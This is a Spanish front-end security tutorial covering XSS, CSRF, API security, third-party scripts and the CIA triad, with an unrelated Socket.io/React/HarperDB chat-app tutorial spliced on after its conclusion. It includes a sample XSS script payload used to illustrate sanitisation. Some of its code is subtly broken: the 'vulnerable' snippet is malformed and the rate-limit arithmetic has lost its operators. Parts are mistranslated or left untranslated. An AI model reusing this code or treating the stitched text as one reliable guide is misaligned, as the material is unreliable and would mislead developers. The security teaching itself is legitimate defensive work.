Cada clic de botón, envío de formulario, y llamada a la API necesitan ser fluidos, y el desarrollador Front-end hace esto posible. Enfocarse en el Front-end significa que estos desarrolladores son los guardianes de las interacciones del usuario. Como tal, están haciendo mucho más que solo crear una interfaz de usuario elegante; también tiene que ser seguro y prevenir vulnerabilidades.

Los desarrolladores de Front-end manejan cómo los datos son recolectados, validados y pasados a los sistemas de Back-end, por lo que no hay lugar para errores en ningún punto. De otra manera, usuarios maliciosos podría causar estragos en toda la aplicación.

Por definición, el Front-end es la parte más expuesta de cualquier aplicación, por lo que si hay una vulnerabilidad en el código, puede potencialmente ser explotados por los atacantes. Implementar software de protección de datos comprensivos minimiza los riesgos de seguridad desde el principio.

En contraste, el código de Back-end se oculta a los usuarios y se ejecuta en entornos controlados, a diferencia del código de Front-end, el cual es servido a los navegadores de los usuarios y es accesible a los usuarios y a los atacantes de la misma forma. Por ejemplo, si un desarrollador de Front-end implementa un pobre manejo de entrada de usuario, los sistemas de Back-end podría ser expuestos a inyecciones de SQL o ataques de Cross-Site Scripting (XSS). Abajo, discutimos estas amenazas específicas en más detalle.

Amenazas de Ciberseguridad del Mundo Real afectando al Front-end

Los ciberataques vienen de muchas formas. Si estamos hablando sobre el Front-end, estos pueden variar desde ataques en campos de entrada de usuario a la explotación de librerías de terceros. Las vulnerabilidades más comúnes son:

1. Cross-Site Scripting o (XSS)
2. Falsificación de Peticiones en Sitios Cruzados (CSRF - Cross-Site Request Forgery en inglés)
3. Llamadas a API Inseguras
4. Vulnerabilidades de Script de Terceros

1. Cross-Site Scripting (XSS):

XSS es probablemente la vulnerabilidad más común discutido en el desarrollo Front-end y en la ciberseguridad. Ocurre cuando una aplicación genera scripts maliciosos inyectados por un atacante que se ejecuta en el navegador del usuario. Esto es posible solamente debido a una impropia sanitización de entrada.

Por ejemplo, malos actores podría usar ataques de XSS para inyectar un script en una sección de comentarios. Ya sea debido a una impropia sanitización de entradas o el atacante pasando por alto la validación, así también como otros usuarios ven este comentario, el script puede robar las cookies o redireccionar a los usuarios a sitios de phishing.

XSS es peligroso porque se dirige directamente a los usuarios y puede comprometer sus datos, sin mencionar su confianza en tu aplicación.

Los ataques de XSS se están volviendo más peligrosos y sofisticados con el tiempo. Al dirigirse directamente a los usuarios, los atacantes pueden cosechar datos personales o redireccionar a los usuarios a sitios web maliciosos.

Objeción: XSS es una preocupación del Back-End, no del Front-End

Si quieres ponerte técnico y objetar diciendo que XSS no es verdaderamente una preocupación del Front-end sino del Back-end, veo de dónde vienes. Prevenir XSS puede ser hecho enteramente en el Back-end a través de validación de entradas, sanitización, y pruebas.

Pero este pensamiento pierde el punto de esta discusión, al que yo te quiero llevar. A saber, el Front-end es donde el riesgo se origina, y por lo tanto, si hay lugar para mitigar el riesgo de forma inmediata, en primera línea, hay que hacerlo.

También, si la validación falla en el Back-end, la vulnerabilidad todavía se mantiene ya que el ataque tiene éxito en superar este punto particular de falla. En cambio, ¿por qué no fortalecer tanto el Back-end como el Front-end para una defensa superior?

Pasos Prácticos para Mitigar Ataques de XSS

1. Sanitización de Entradas

El primer paso es implementar un proceso de sanitización de entrada que usa librerías o características incorporadas del framework para eliminar caracteres dañinos antes de que sean procesados o mostrados. Por ejemplo, en JavaScript, librerías como DOMPurify puede ayudar en limpiar el contenido generado por el usuario para quitar scripts maliciosos.

Aquí hay un ejemplo simplificado de entrada no sanitizado vs sanitizado:

// Código Vulnerable
const userInput = document.getElementById('comment').innerHTML = "<script>alert('Hackeado!')</script>";

// Con DOMPurify
const sanitizedInput = DOMPurify.sanitize(userInput);
document.getElementById('comment').innerHTML = sanitizedInput;

2. Codificación

Si tu aplicación permite a los usuarios contribuir contenido generado por ellos mismos, codifícalo. Si los navegadores intenta leerlo, solamente lo verán como texto en vez de código ejecutable.

Por ejemplo, la codificación de HTML puede convertir < y > en < y >.

3. Política de Seguridad de Contenido (CSP - Content Security Policy en inglés)

También puedes configurar Políticas de Seguridad de Contenido (CSPs) para actuar como una red de seguridad. Una Política de Seguridad de Contenido es un mecanismo de defensa basado en el navegador. Al definir reglas en los encabezados HTTP de tu servidor, puedes restringir los tipos de contenido (por ejemplo, JavaScript, CSS, y así sucesivamente) que están permitidos cargar, aunque no podrían detectar todos los ataques o vulnerabilidades XSS.

Esta política asegura que solamente los scripts de tu propio dominio o fuentes confiables sean ejecutados para mitigar el riesgo de XSS.

Al combinar sanitización de entrada, codificación, y CSPs, puedes reducir significativamente el riesgo de ataques XSS. El fortalecer el Front-end así como el Back-end provee la defensa en capas necesaria para proteger los datos del usuario y mantener la confianza en tu aplicación.

2. Falsificación de Peticiones Entre Sitios (CSRF):

Usuarios autenticados quienes confían en un sitio podrían ser engañados potencialmente en realizar acciones que nunca quisieron y podrían inclusive no notarlo. Esto podría conducir a cambiar o eliminar cuentas o transferir fondos. Estos son ataques CSRF, y pueden ser particularmente devastadores para los usuarios de una aplicación.

Para dar un ejemplo de CSRF, digamos que un usuario dejó un sitio de red social sin cerrar la sesión. Ellos visitan un nuevo sitio, el cual termina siendo malicioso, y una formulario oculto envía una solicitud para actualizar automáticamente su biografía del perfil de la red social con enlaces phishing. Siendo que ellos ya estaban autenticados, la plataforma procesa la solicitud maliciosa como si fuera del usuario.

Nuevamente, podrías argumentar que abarcar el problema de CSRF es una cuestión del Back-end, donde puedes usar tokens anti-CSRF para prevenir estos ataques. Es verdad que estos tokens son cruciales, pero descuidar la responsabilidad del Front-end en crear un flujo de trabajo seguro puede dejar a las aplicaciones vulnerables.

Por ejemplo, implementar autenticación de dos factores (2FA) puede agregar una capa adicional de seguridad, asegurando que incluso si un intento de CSRF ocurra, acciones no autorizadas son significativamente más difíciles de ejecutar.

Los ataques de CSRF facilitan a los atacantes robar información personal en línea. De hecho, 1 de 4 personas son propensos a ser víctimas de un crimen en línea, así que protegerse en contra de estos ataques es crucial.

Pasos Prácticos para Mitigar Ataques CSRF

Si los desarrolladores de Front-end quieren crear flujos de trabajo más robustos que prevengan ataques de CSRF, el primer paso es reforzar la intención del usuario. En cualquier momento que hayan acciones de usuario potencialmente sensibles, deberías requerir confirmación explícita de que ellos quieren proceder. Podrías simplemente preguntar, "¿estás seguro de que quieres hacer eso?" Es una forma sencilla pero seguro de hacerles al menos pensar y confirmar su decisión.

Luego está el problema de clickjacking. Este es simplemente el nombre para cuando los malos actores usan elementos ocultos o sobrepuesto (como botones o enlaces) en una página aparentemente legítima para engañar a los usuarios en que hagan clic en algo distinto de lo que esperan. Por ejemplo, un usuario podría pensar que está haciendo clic en un botón inofensivo, pero en realidad, están aprobando una acción sensible como transferir fondos o cambiar las opciones de cuenta.

Para prevenir esto, usa encabezados como X-Frame-Options o Content-Security-Policy para evitar que los atacantes incrusten tu aplicación en etiquetas iframes.

• X-Frame-Options Header: Este encabezado le dice al navegador si tu sition puede ser incrustado en un iframe y por quién.

Ejemplo:

X-Frame-Options: DENY

Esto asegura que tu aplicación no pueda ser incrustado en ningún iframe el cual bloquea efectivamente cualquier intento de clickjacking.

De forma alternativa, puedes especificar fuentes confiables específicas:

X-Frame-Options: ALLOW-FROM https://trusted-domain.com

Esto permite a los iframe que carguen tu aplicación solamente en un dominio confiable.

• Content-Security-Policy (CSP): Ya que el X-Frame-Options es efectivo, CSP provee más flexibilidad. Puedes usar la directiva frame-ancestors para controlar qué dominios están autorizados para incrustar tu aplicación.

Ejemplo:

Content-Security-Policy: frame-ancestors 'self' https://trusted-domain.com;

Esto asegura que solamente tu propio sitio ('self') o explícitamente dominios permitidos pueda mostrar tu aplicación en un iframe.

Tocaré mas sobre esto abajo, pero una clave para crear un programa de seguridad integral es colaborar efectivamente con tus homólogos del Back-end. Ya que probablemente tengan un proceso para tokens anti-CSRF, puedes entender cómo son generados y aseguran que están incluidos de forma apropiada en todas las peticiones relevantes.

Para una mayor seguridad de comunicación con tus equipos se recomienda usar aplicaciones aprobadas por DOD.

3. Llamadas a API Inseguras

La API es lo que permite al Front-end y el Back-end del sistema que se comuniquen. El Front-end es frecuentemente donde las llamadas a la API son iniciadas y donde los datos sensibles son manejados. Si la API no es segura en términos de tokens y credenciales de Front-end, todo el sistema puede terminar comprometido.

La Encriptación es la clave para mantener tus claves de API y tokens seguros de forma que no sean expuestas en el código del lado del cliente o de alguna manera compartidos sobre conexiones sin encriptación, donde actores maliciosos pudieran fácilmente interceptar y abusar. Esto recae en el desarrollador de Front-end porque políticas de CORS mal implementadas o procesos de manejo de errores pueden en realidad conducir a información filtrada. Integrar de forma segura las APIs en un sistema de gestión de comunicación puede mejorar aún más la protección al optimizar las medidas de seguridad para interacciones sensibles.

Llamadas a API inseguras puede ser una mina de oro para los atacantes. Si tokens o credenciales sensibles son expuestos, serán capaces de acceder a cuentas y robar datos personales, probablemente para cometer robo de identidad. Asegurar las APIs trata sobre prevenir que los atacantes encuentren vulnerabilidades.

Afortunadamente, hay unas pocas formas de que puedas hacer tu API más seguras.

Pasos Prácticos para Mitigar ataques a una API

Así como la última sección, puedes prevenir un montón de dolores de cabeza al usar conexiones cifradas y reforzadas con HTTPS. Esto ayuda en mantener a raya a los chicos malos y previene la intercepción durante la transmisión.

Cuando se traba sobre información sensible que rodea a tu API, asegúrate de usar cookies seguras con los argumentos HttpOnly y Secure en vez de localStorage o sessionStorage ya que son accesibles por JavaScript y vulnerables a ataques XSS.

Las cookies seguras son críticos para almacenar información confidencial como IDs de sesión o tokens de autenticación. Al usar los argumentos HttpOnly y Secure, haces que las cookies sean inaccesibles a JavaScript (reduciendo el riesgo de ataques XSS) y asegurar que solamente sean transmitidos sobre HTTPS.

Aquí hay un ejemplo de poner cookies seguras en Express.js:

app.use(require('cookie-parser')());

app.get('/set-cookie', (req, res) => {
  res.cookie('authToken', 'tu-token-seguro', {
    httpOnly: true,  // Evita el acceso a JavaScript del lado del cliente
    secure: true,    // Asegura que las cookies sean enviadas solamente sobre HTTPS
    sameSite: 'strict', // Evita el uso de cookie entre sitios
  });
  res.send('¡Cookie seguro configurado!');
});

Oh, y si tienes alguna información sensible sobre la API, sólo asegúrate de incluirlos en ningún mensajes de error de API. Los mensajes de error pueden ser una mina de oro para los atacantes que buscan explotar tu sistema. Evita exponer detalles sensibles sobre tu API, tales como trazos del stack, estructuras de la Base de Datos, o mecanismos de autenticación, en las respuestas de error.

Mira un poco este ejemplo sobre sanitizar mensajes de error en Express.js:

app.use((err, req, res, next) => {
  console.error(err.stack); // Registra el error completo internamente para depurar
  res.status(500).send({
    error: 'Un error inesperado ocurrió. Por favor intente nuevamente más tarde.',
  }); // Envía un mensaje de error genérico al cliente
});

By sanitizing responses, you reduce the chances of leaking information that could aid an attacker.

4. Vulnerabilidades de Script de Terceros

El desarrollo puede tomar un largo tiempo cuando se hace desde cero, por lo que scripts y librerías de terceros son esenciales para poner en marcha una aplicación y ejecutarla rápidamente. Con scripts de terceros, obtienes funcionalidad pre-construida y puede acortar el tiempo de desarrollo de forma significativa. El único problema es que podría haber vulnerabilidades de las que no seas consciente debido a que el script no es enteramente tuyo.

Extender tu desarrollo para incluir scripts o librerías de terceros sí incrementa la probabilidad de un riesgo potencial, ya que una sola librería comprometida podría introducir código malicioso en todas las aplicaciones que están conectadas a él.

Para algunos negocios como envío directo y comercio electrónico, los cuales frecuentemente se basan en herramientas de terceros para la gestión de inventario, procesamiento de órdenes, y funcionalidades del sitio web, asegurar la seguridad de estos scripts es crucial para mantener la integrar operacional y la confianza del cliente.

Históricamente hablando, al menos un incidente (mira "event-stream" si no has oído de él) involucró un paquete ampliamente usado afectando a miles de proyectos porque no estaba cuidadosamente monitoreado.

Pasos Prácticos para Mitigar Vulnerabilidades de Terceros

Como un desarrollador front-end, hay algunos formas para evitar escenario, y mayormente involucran auditar de forma constante. Si estás considerando usar cualquier librerías de terceros, haz todo lo que puedas para ver si tiene vulnerabilidades.

Hay muchas herramientas para esto, algunos que ya podrías estar usando como Snyk, npm audit, or OWASP Dependency-Check para escanear la librería en busca de problemas. Por ejemplo, si estás considerando en agregar una librería de JavaScript para manejar formularios de entrada de usuario, puedes comenzar ejecutando un auditoría:

npm audit

Esto resaltará cualquier vulnerabilidad en las dependencias de la librería. Si se encuentran vulnerabilidades críticas, o actualiza el paquete (si hay parches disponibles) o considera alternativas.

También puedes simplemente restringir el número de scripts para incluir solamente aquellos que coincidan con el criterio que has designado tales como estar siendo mantenido activamente, teniendo un fuerte registro de seguridad, y que venga de fuentes acreditados. De forma adicional, implementa salvaguardas para controlar su comportamiento. Por ejemplo, usa una Política de Seguridad de Contenido (CSP) para restringir de dónde pueden cargar los scripts. Agrega un encabezado CSP a tu aplicación:

<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://trusted-library.com;">

Esto restringe a los scripts a tu propio dominio y la fuente de terceros confiable.

También puedes echar un ojo a la comunidad y ver qué actualizaciones están por llegar sobre parches de seguridad y deprecaciones para tus librerías existentes. Si tienes que hacer cambios porque encuentras algunos problemas, asegúrate de compartir tus descubrimientos con la comunidad. Esto podría ser a través de documentación escrita, publicaciones de blog, o inclusive grabando vídeos que explican tus descubrimientos y soluciones.

Nuevamente, no estamos diciendo que deberías tirar todos los centavos del presupuesto para trabajar en tus proyectos desde cero. Pero probablemente puedes encontrar el balance correcto entre las librerías útiles y las sospechosas una vez que aprendas a realizar auditorías.

Principios Básicos de Ciberseguriad para Desarrolladores de Front-End

Volvamos a ayudarte, como desarrollador, a entender cómo puedes beneficiarte de la ciberseguridad. Después de todo, el desarrollo de Front-end segura se reduce a entender tres principios claves de ciberseguridad: Confidencialidad, Integridad y Disponibilidad. Usualmente le llamo la Triada CID (CIA en inglés), porque solo usando estos tres principios, puedes construir un marco de trabajo de seguridad comprensiva.  

Confidencialidad

La Confidencialidad trata sobre proteger datos sensibles. Tu objetivo es asegurar que las personas equivocada no pongan sus manos sobre los datos de los que no deberían acceder. Así que, donde entras como un desarrollador de Front-end es crear sistemas cuidadosamente que mantenga los datos seguros ya que se maneja en el lado del cliente hacia y desde el servidor.

Si un usuario comparte datos sensibles con tu aplicación, digamos, en un formulario de generación potencial, ya han mostrado que confían en ti para mantener su información seguro. Esta información incluye contraseñas, claves de API, números de tarjeta de crédito, información de identificación de personal, y otra información personal o financiera. Si confían en tu aplicación, es mejor ser capaces de mantener su información seguro y protegido. Si no lo hace, arriesgas en que su información y posiblemente su identidad sea comprometida.

Convirtiendo la Confidencialidad en una Habilidad

Dominar la habilidad para manejar datos sensibles seguramente es la clave para asegurar la confidencialidad. Aquí está cómo puedes proteger la confidencialidad del usuario:

1. Encripta los Datos en el Tránsito usando HTTPS

Para asegurar que los datos permanezcan confidenciales durante la transmisión, siempre utiliza HTTPS. Éste encripte la comunicacón entre el cliente y el servidor lo que hace más difíciles a los atacantes que intercepten información sensible. Por ejemplo, cuando despliegues tu aplicación, asegúrate que tu servidor web se configure para reforzar HTTPS. Si estás usando Nginx, tu archivo de configuración debería incluir:

server {
    listen 443 ssl;
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    server_name yourdomain.com;
}

Esto asegura que toda la comunicación entre cliente y servidor se encripte.

2. Aprender a Almacenar Datos Sensibles en Ubicaciones Seguras

Evita almacenar información sensible (como tokens o contraseñas) en mecanismos de navegadores inseguros tales como localStorage o sessionStorage. En cambio, usa cookies seguras con los argumentos HttpOnly y Secure. Por ejemplo, cuando pongas las cookies para la autenticación de usuario, configúralos de esta forma en tu Back-end:

res.cookie('authToken', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
});

Esto previene que ataques basado en JavaScript (como XSS) accedan a la cookie a la vez que asegura quese envíe solamente sobre HTTPS.

3. Valida y Sanitiza las Entradas

Cuando recolectes datos sensibles, valida y sanitiza las entradas de usuario para prevenir datos maliciosos de que sean procesados. Si estás construyendo un formulario para recolecar PII, como direcciones de email o números de teléfono, valida la entrada tanto el lado del cliente como del servidor:

Validación del lado del Cliente (React):

const validateEmail = (email) => {
    const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return regex.test(email);
};

Validación del lado del Servidor (Node.js):

const sanitize = require('sanitize-html');
app.post('/submit', (req, res) => {
    const sanitizedInput = sanitize(req.body.email);
    // Proceso de entrada sanitizada
});

4. Minimiza la Exposición de Datos

Solamente recoge y expón los datos cuando sea absolutamente necesario. Evitar incluir información sensible en los registros, URLs, o mensajes de error de API.

Por ejemplo, cuando depures un problema en producción, usa registros redactados para los datos sensibles:

console.log(`Usuario: ${user.name}, Contraseña: [REDACTADO]`);

Esto previene la exposición accidental de información sensible en tus registros.

Integridad

La Integridad de los datos es más que asegurar que cada pieza de información permanezca precisa, y consistente, y no cambie en el curso de su ciclo de vida. En otras palabras, a medida que los datos viajen a través de la transmisión, procesamiento, o almacenamientos, nunca se dañe, o sea manipulado.

Esto requiere algo de proactividad, porque no estás solamente protegiendo la integridad de la información de los atacantes sino también tus propios sistemas o errores potenciales. Datos alterados pueden romper la funcionalidad o engañar a los usuarios. O los atacantes podrían modificar las entradas de datos para explotar vulnerabilidades, como ya discutí anteriormente.

Convirtiendo la Integridad en una Habilidad

Si tu aplicación acepta entrada de usuario, tales como una dirección email, valídalo con un regex antes de enviarlo al servidor.

Validación del lado del Cliente:

const isValidEmail = (email) => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
if (!isValidEmail(userInput)) {
    alert("Dirección de email inválido");
}

Validación del lado del Servidor:

const { body, validationResult } = require('express-validator');
app.post('/register', [
    body('email').isEmail().withMessage('Email inválido'),
    body('password').isLength({ min: 8 }).withMessage('La contraseña debe ser al menos 8 caracteres de largo'),
], (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }
    // Procesa entrada válida
});

Validación del lado del servidor actúa como una segunda capa de defensa. Usando un framework como Express en Node.js.

Acciones de usuario importantes, tales como modificar los detalles de la cuenta o eliminar datos, requiere confirmación explícita del usuario para prevenir cambios maliciosos o initencionales. Puedes usar un diálogo de confirmación para operaciones sensibles como eliminar una cuenta de usuario:

const deleteAccount = () => {
    const confirmed = window.confirm("¿Estás seguro que quieres eliminar tu cuenta?");
    if (confirmed) {
        // Procede con la eliminación de la cuenta
        fetch('/delete-account', { method: 'DELETE' });
    }
};

Sanitiza los datos para saducir cualquier caracter dañino o scripts antes de que se procesen. Usa librerías como DOMPurify para limpiar la entrada de usuario en una aplicación de React:

import DOMPurify from 'dompurify';
const sanitizedInput = DOMPurify.sanitize(userInput);

Esto asegura que contenido potencialmente malicioso, tales como <script>alerta('XSS')</script>, sea neutralizado antes de renderizarse.

Para prevenir la manipulación del DOM, usa funciones de codificación para reducir el riesgo de ejecutar scripts malos u otras entradas de usuario. En React, usa el argumento dangerouslySetInnerHTML cuidadosamente y solamente con contenido sanado de forma apropiada.

const safeContent = DOMPurify.sanitize(unsafeContent);
return <div dangerouslySetInnerHTML={{ __html: safeContent }} />;

La Codificación previene que el contenido generado por el usuario sea ejecutado como código.

Y no te olvides de mantener un ojo cerrado sobre cualquier script de tercero regularmente para asegurar que no hayan áreas de preocupación. Como ya he discutido antes, herramientas como Snyk o npm audit son usados para verificar vulnerabilidades en las dependencias. Abarca las vulnerabilidades señaladas con protintud al actualizar o reemplazar paquetes problemáticos. De forma adicional, asegura la implementación de soluciones de copias de seguridad robustos para proveer almacenamiento inmutable y encriptación de extremo a extremo para reducir el riesgo de pérdida de datos y de acceso no autorizado de forma significativa. Y no te olvides de mantener un ojo cerrado sobre cualquier script de terceros de forma regular para asegurarte que no hayan áreas de preocupación.

Disponibilidad

La Disponibilidad trata todo sobre acceso. ¿Tu aplicación de Front-end permanece operacional de manera confiable y accesible a tus usuarios? Si es así, incluso ante amenazas potenciales, entonces estás haciendo bien.

El éxito aquí es sobre diseñar soluciones que mantienen a la aplicación en ejecución, especialmente en tiempos de tráfico de usuario pesado, fallas de servidor, lo que quieras. No puedes tener una aplicación exitosa que se rompe todo el tiempo o posee una amenaza potencial debido al tiempo de inactividad.

Convirtiendo la Disponibilidad en una Habilidad

Como desarrollador de Front-end quien quiere enfocarse en la disponibilidad, tendrás que aprender a cómo:

1. Distribuir el Tráfico entre Servidores

El balance de carga esparce las peticiones de usuarios a través de múltiples servidores para prevenir sobrecargar un sólo servidor y mantener la operación fluida durante el pico de tráfico. Si estás desplegando un Front-end en AWS, usa Balance de Carga Elástica (ELB en inglés) para distribuir el tráfico:

• Configura múltiples instancias de EC2 para hospedar tu aplicación.
• Configura un ELB para enrutar las peticiones de usuarios de forma uniforme a través de estas instancias.
• ELB también detecta instancias no sanas y re-enrute el tráfico a las sanas automáticamente.

2. Implementa Guardar en caché los Mecanismos

Guardar en caché frecuentemente recursos accesidos de forma local el cual reduce la carga de servidor y acelera las peticiones de usuario. Puedes usar la caché del navegador para almacenar archivos como imágenes, hojas de estilo, y scripts.

Caché del lado del Cliente:

En tus encabezados de respuesto de HTTP, pon directivas de control de caché:

Cache-Control: public, max-age=31536000

Esto le dice a los navegadores que guarden en caché los recursos por un año para reducir las peticiones a tu servidor.

Caché del lado del Servidor:

Usa herramientas como Redis o Varnish Cache para almacenar datos dinámicos. Si estás usando un servidor de Node.js con Redis:

const redis = require('redis');
const client = redis.createClient();

app.get('/data', async (req, res) => {
    const cachedData = await client.get('key');
    if (cachedData) {
        return res.json(JSON.parse(cachedData));
    }
    const data = await fetchDataFromDatabase();
    client.setex('key', 3600, JSON.stringify(data)); // Caché por 1 hora
    res.json(data);
});

3. Implementa Reglas de Limitación de Tasa

Al implementar reglas de limitación de tasa para limitar el número de solicitudes de la misma IP en un fragmento de tiempo dado, estás previniendo el abuso y asegurar la disponibilidad para todos los usuarios. Usa una librería como express-rate-limit en tu aplicación de Node.js:

const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
    windowMs: 15  60  1000, // 15 minutos
    max: 100, // Limita a cada IP 100 solicitudes por ventana
    message: "Demasiadas solicitudes de esta IP, por favor intente nuevamente más tarde.",
});
app.use(limiter);

Esto asegura que ningún usuario pueda abrumar a tus servidores, manteniendo la aplicación disponible para todos.

Conclusión

Recuerda, entender y aplicar estas habilidades importantes de ciberseguridad no es solo para el Back-end. Mientras que el desarrollo de Front-end se enfoca en las estéticas e interactividad, también es una línea crítica de defensa donde puedes mitigar amenazas antes de que se vuelvan problemas mayores.

La clave es saber cómo usar estas habilidades de forma que tu trabajo de Front-end sea tan seguro como tu trabajo de Back-end. He cubierto diferentes tipos de ataques y las habilidades necesarias para reducir los riesgos, pero solamente tendrás éxito si aprendes a aplicarlos por ti mismo.

Con algo de práctica y un entendimiento básico de cómo funciona la ciberseguridad, puedes crear aplicaciones amigables y seguras. Además, construir tus habilidades de ciberseguridad puede ayudarte en abrir nuevas oportunidades en el futuro, así que el mejor momento para abrazarlos es ahora.

Comienza a plicar estas ideas hoy, o siéntete libre de explorar recursos adicionales. No tengas miedo de invertir desarrollo personal de unirte a comunidades de ciberseguridad.

Pronto averiguarás cuán importante es entender ciberseguridad como un desarrollador moderno, y puedes contribuir a construir un futuro más resiliente y más seguro.

Este será un gran proyecto para aprender cómo armar las aplicaciones fullstack, y cómo crear una aplicación donde el back-end puede comunicarse con el front-end en tiempo real.

Normalmente, usando solicitudes HTTP, el servidor no puede enviar datos al cliente en tiempo real. Pero al usar Socket.io, el servidor es capaz de enviar información en tiempo real al cliente sobre algunos eventos que sucedieron en el servidor.

La aplicación que estaremos construyendo tiene dos páginas:

Una página join-a-chat-room:

Y una página chat-room:

Aquí está lo que estaremos usando para construir este aplicación:

• Front-end: React (Un framework de front-end de JavaScript para construir aplicaciones interactvias)
• Back-end: Node y Express (Express es un framework muy popular de NodeJS que nos permite crear fácilmente APIs y back-ends)
• Base de Datos: HarperDB (una plataforma de datos + aplicación que te permite solicitar datos usando SQL o NoSQL. HarperDB también tiene una API integrada, ahorrándonos el escribir mucho código de back-end)
• Comunicación en Tiempo Real: Socket.io (¡ve abajo!)

Aquí está el código fuente (recuerda de darle una estrella ⭐).

Tabla de Contenidos

1. ¿Qué es Socket.io?
2. Configuración del Proyecto
3. Cómo construir la Página "Join a Room"
4. Cómo configurar el Servidor
5. Cómo crear nuestro primer Escucha de Evento de Socket.io en el Servidor
6. Cómo funcionan las Salas en Socket.io
7. Cómo construir la Página Chat
8. Cómo crear el componente Messages (B)
9. Cómo crear un Esquema y una Tabla en HarperDB
10. Cómo crear el Componente Send Message (C)
11. Cómo configurar las Variables de Entorno de HarperDB
12. Cómo permitir a los Usuarios que se envíen Mensajes con Socket.io
13. Cómo obtener los Mensajes desde HarperDB
14. Cómo mostrar los Últimos 100 Mensajes en el Cliente
15. Cómo mostrar la Sala y los Usuarios (A)
16. Cómo quitar a un Usuario de una Sala de Socket.io
17. Cómo agregar el Escucha de Evento Disconnect de Socket.io

¿Qué es Socket.io?

Socket.io permite al servidor enviar información al cliente en tiempo real, cuando los eventos ocurren en el servidor.

Por ejemplo, si estuvieras jugando un juego de múltiple jugador, un evento podría ser tu "amigo" que consiguió un gol espectacular en contra tuya.

Con Socket.io, sabrías (casi) instantáneamente sobre conceder un gol.

Sin Socket.io, el cliente tendría que hacer múltiples llamadas polling de AJAX para verificar que el evento ha ocurrido en el servidor. Por ejemplo, el cliente podría usar JavaScript para verificar un evento en el servidor cada 5 segundos.

Socket.io significa que el cliente no tiene que hacer múltiples llamadas polling de AJAX para verificar si algunos eventos han ocurrido en el servidor. Más bien, el servidor envía la información al cliente tan pronto como lo obtenga. Mucho mejor.👌

Así que, Socket.io nos permite construir fácilmente aplicaciones de tiempo real, tales comos aplicaciones de chat y juegos multijugador.

Configuración del Proyecto

1. Cómo configurar nuestras carpetas

Comienza un nuevo proyecto en tu editor de texto de prefrencia (VS Code para mí), y crea dos carpetas a nivel raíz llamados client y server.

Crearemos nuestra aplicación React Front-end  en la carpeta client, y nuestro backend con Node/express en la carpeta server.

2. Cómo instalar nuestras dependencias de client

Abre una terminal en la raíz del proyecto (en VS Code, puedes hacer esto al presionar Ctrl + ' o al ir a terminal->new terminal).

Luego, instalaremos React en nuestra carpeta client:

$ npx create-react-app client

Después de que React se haya instalado, ve hacia la carpeta client, e instala las siguientes dependencias:

$ cd client
$ npm i react-router-dom socket.io-client

React-router-dom nos permitirá configurar las rutas a nuestros distintos componentes de React – esencialmente creando diferentes páginas.

Socket.io-client es la versión cliente de socket.io, que nos permite "emitir" eventos al servidor. Una vez que el servidor lo recibe, podemos usar la versión del servidor de socket.io para hacer cosas como enviar mensajes a los usuarios en la misma sala como el emisor, o unirse con un usuario a una sala de socket.

Ganarás un mejor entendimiento de esto más tarde cuando lleguemos a implementar estas ideas con código.

3. Cómo iniciar la aplicación de React

Vamos a asegurarnos que todo está funcionando bien ejecutando el siguiente comando desde la carpeta client:

$ npm start

Webpack construirá la aplicación de React y lo servirá en `http://localhost:3000`:

Ahora configuremos nuestra base de datos de HarperDB que usaremos para guardar mensajes de forma permanente enviados por los usuarios.

Cómo configurar HarperDB

Primero, crea una cuenta con HarperDB.

Luego crea una nueva instancia en la nube de HarperDB.

Para hacer las cosas fáciles, selecciona la instancia cloud:

Selecciona el proveedor del cloud (Yo escojo AWS):

Brinda un nombre a tu instancia de la nube, y crea tus credenciales de la instancia:

HarperDB tiene una capa gratuita generosa que podemos usar para este proyecto, así que selecciona ese:

Verifica que tus detalles son correctos, luego crea la instancia.

Tomará unos pocos minutos para crear la instancia, así que continuemos y, ¡hagamos nuestro primer componente de React!

Cómo construir la Página "Join a Room"

Nuestra página principal va a terminar luciendo así:

El usuario ingresará un nombre de usuario, selecciona una sala de chat desde el despegable, luego haz clic en "Join Room". El usuario será dirigido a la página de la sala de chat.

Así que, hagamos esta página principal.

1. Cómo crear el formulario HTML y agregar estilos

Crea un nuevo archivo en src/pages/home/index.js.

Agregaremos estilos básicos a nuestra aplicación usando módulos de CSS, así que crea un nuevo archivo: src/pages/home/styles.module.css.

Nuestra estructura de carpeta debería ahora lucir así:

Ahora creemos el formulario básico HTML:

// client/src/pages/home/index.js

import styles from './styles.module.css';

const Home = () => {
  return (
    <div className={styles.container}>
      <div className={styles.formContainer}>
        <h1>{`<>DevRooms</>`}</h1>
        <input className={styles.input} placeholder='Username...' />

        <select className={styles.input}>
          <option>-- Select Room --</option>
          <option value='javascript'>JavaScript</option>
          <option value='node'>Node</option>
          <option value='express'>Express</option>
          <option value='react'>React</option>
        </select>

        <button className='btn btn-secondary'>Join Room</button>
      </div>
    </div>
  );
};

export default Home;

Arriba, tenemos un input de texto sencillo para capturar el nombre de usuario, y un despegable seleccionable con algunas opciones por defecto para que el usuario seleccione una sala de chat para unirse.

Ahora importemos este componente en App.js y configuremos una ruta para el componente usando el paquete react-router-dom. Este será nuestra página principal, así que la ruta será /:

// client/src/App.js

import './App.css';
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom';
import Home from './pages/home';

function App() {
  return (
    <Router>
      <div className='App'>
        <Routes>
          <Route path='/' element={<Home />} />
        </Routes>
      </div>
    </Router>
  );
}

export default App;

Ahora agreguemos algunos estilos básicos para hacer que nuestra aplicación luzca mas presentable:

/* client/src/App.css */

html * {
  font-family: Arial;
  box-sizing: border-box;
}
body {
  margin: 0;
  padding: 0;
  overflow: hidden;
  background: rgb(63, 73, 204);
}
::-webkit-scrollbar {
  width: 20px;
}
::-webkit-scrollbar-track {
  background-color: transparent;
}
::-webkit-scrollbar-thumb {
  background-color: #d6dee1;
  border-radius: 20px;
  border: 6px solid transparent;
  background-clip: content-box;
}
::-webkit-scrollbar-thumb:hover {
  background-color: #a8bbbf;
}
.btn {
  padding: 14px 14px;
  border-radius: 6px;
  font-weight: bold;
  font-size: 1.1rem;
  cursor: pointer;
  border: none;
}
.btn-outline {
  color: rgb(153, 217, 234);
  border: 1px solid rgb(153, 217, 234);
  background: rgb(63, 73, 204);
}
